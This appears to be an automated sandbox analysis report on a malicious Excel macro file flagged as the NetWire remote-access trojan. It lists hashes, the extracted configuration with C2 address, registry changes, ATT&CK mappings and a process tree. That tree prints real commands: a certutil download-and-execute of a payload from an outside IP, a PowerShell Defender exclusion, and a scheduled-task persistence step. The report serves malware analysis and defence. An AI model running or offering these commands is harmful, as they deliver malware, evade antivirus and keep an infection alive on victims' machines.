netwire | e209b1e1be73d201c0cf316df426fa1e0c2b436acf2d8c269ac6694b936d839e

General

Target

TAX INVOICE 00893.xlsm
Size

42KB
MD5

dfd371ebf737c86675d54224482f3bf3
SHA1

e84195e5871bfef86c18563ebe7b6ad1077f81e5
SHA256

e209b1e1be73d201c0cf316df426fa1e0c2b436acf2d8c269ac6694b936d839e
SHA512

994ba3a222532826c82081eb92ecb6d5cd57faf162fbd5e84ec1679fa13def5813b48c0f0b40044adf92a72ea9c6778c66474690635a7d0597e0f7c43b4391f2

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

C2

194.5.98.126:3378

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Pass@2023
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 8 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1564-86-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-87-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-88-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-90-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-91-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-92-0x000000000040242D-mapping.dmp	netwire
behavioral1/memory/1564-96-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1564-98-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1728	904	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exeAqrmdtmrohibrqzfihirniu.exe.exeAqrmdtmrohibrqzfihirniu.exe.exe

pid process

564 Aqrmdtmrohibrqzfihirniu.exe.exe
688 Aqrmdtmrohibrqzfihirniu.exe.exe
1564 Aqrmdtmrohibrqzfihirniu.exe.exe
Loads dropped DLL 2 IoCs

Processes:

cmd.exe

pid process

1728 cmd.exe
1728 cmd.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exe

description pid process target process

PID 564 set thread context of 1564 564 Aqrmdtmrohibrqzfihirniu.exe.exe Aqrmdtmrohibrqzfihirniu.exe.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1296 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
564	Aqrmdtmrohibrqzfihirniu.exe.exe
688	Aqrmdtmrohibrqzfihirniu.exe.exe
1564	Aqrmdtmrohibrqzfihirniu.exe.exe

pid	process
1728	cmd.exe
1728	cmd.exe

description	pid	process	target process
PID 564 set thread context of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe

pid	process
1296	schtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

904 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exepowershell.exe

pid process

564 Aqrmdtmrohibrqzfihirniu.exe.exe
564 Aqrmdtmrohibrqzfihirniu.exe.exe
1528 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exepowershell.exe

description pid process

Token: SeDebugPrivilege 564 Aqrmdtmrohibrqzfihirniu.exe.exe
Token: SeDebugPrivilege 1528 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

904 EXCEL.EXE
904 EXCEL.EXE
904 EXCEL.EXE

pid	process
904	EXCEL.EXE

pid	process
564	Aqrmdtmrohibrqzfihirniu.exe.exe
564	Aqrmdtmrohibrqzfihirniu.exe.exe
1528	powershell.exe

description	pid	process
Token: SeDebugPrivilege	564	Aqrmdtmrohibrqzfihirniu.exe.exe
Token: SeDebugPrivilege	1528	powershell.exe

pid	process
904	EXCEL.EXE
904	EXCEL.EXE
904	EXCEL.EXE

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EXCEL.EXEcmd.exeAqrmdtmrohibrqzfihirniu.exe.exe

description	pid	process	target process
PID 904 wrote to memory of 1728	904	EXCEL.EXE	cmd.exe
PID 904 wrote to memory of 1728	904	EXCEL.EXE	cmd.exe
PID 904 wrote to memory of 1728	904	EXCEL.EXE	cmd.exe
PID 904 wrote to memory of 1728	904	EXCEL.EXE	cmd.exe
PID 1728 wrote to memory of 964	1728	cmd.exe	certutil.exe
PID 1728 wrote to memory of 964	1728	cmd.exe	certutil.exe
PID 1728 wrote to memory of 964	1728	cmd.exe	certutil.exe
PID 1728 wrote to memory of 964	1728	cmd.exe	certutil.exe
PID 1728 wrote to memory of 564	1728	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 1728 wrote to memory of 564	1728	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 1728 wrote to memory of 564	1728	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 1728 wrote to memory of 564	1728	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1528	564	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 564 wrote to memory of 1528	564	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 564 wrote to memory of 1528	564	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 564 wrote to memory of 1528	564	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 564 wrote to memory of 1296	564	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 564 wrote to memory of 1296	564	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 564 wrote to memory of 1296	564	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 564 wrote to memory of 1296	564	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 564 wrote to memory of 688	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 688	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 688	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 688	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 564 wrote to memory of 1564	564	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\TAX INVOICE 00893.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecst.exe" Aqrmdtmrohibrqzfihirniu.exe.exe && Aqrmdtmrohibrqzfihirniu.exe.exe
2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f "http://192.3.194.246/ecst.exe" Aqrmdtmrohibrqzfihirniu.exe.exe
3⤵
PID:964

C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe
Aqrmdtmrohibrqzfihirniu.exe.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\TmbJbrgFWL.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmbJbrgFWL" /XML "C:\Users\Admin\AppData\Local\Temp\tmp40.tmp"
4⤵
- Creates scheduled task(s)
PID:1296

C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe
"C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe"
4⤵
- Executes dropped EXE
PID:688

C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe
"C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe"
4⤵
- Executes dropped EXE
PID:1564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp40.tmp

Filesize
1KB

MD5
b3643a1880f375bf8e3e7f0492a02f65

SHA1
c2f1424b7979e602dd8abcb1efa04b1a9eb1fc13

SHA256
17f2091daaabed349ea7979d90091e0d2622d4f96e03921e82315dbcb6e7a4a1

SHA512
88c118ffc5744e64c0bfe3c2c03886e791a7baa1bd57e8671cefcab0e3656981cb2c111060af1bbef1c268e3f17b18cde4100a57aae8fbebc6b29945dcc43c6b

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
61d94897a267d53d3f3e3399345c4ecc7918295d

SHA256
e1005be756be06a809c11b66b47c79ee2fba85b2870693bee2882f369f03cec7

SHA512
202bcd7c5bc00a4d7a71cc73c38abfa927e2ef70b14333637ae5396cae5eb9035902a2da436efb9128d599c6a9dbdf43fed12c869a5affa2bce5ccce25d572d1

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
61d94897a267d53d3f3e3399345c4ecc7918295d

SHA256
e1005be756be06a809c11b66b47c79ee2fba85b2870693bee2882f369f03cec7

SHA512
202bcd7c5bc00a4d7a71cc73c38abfa927e2ef70b14333637ae5396cae5eb9035902a2da436efb9128d599c6a9dbdf43fed12c869a5affa2bce5ccce25d572d1

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
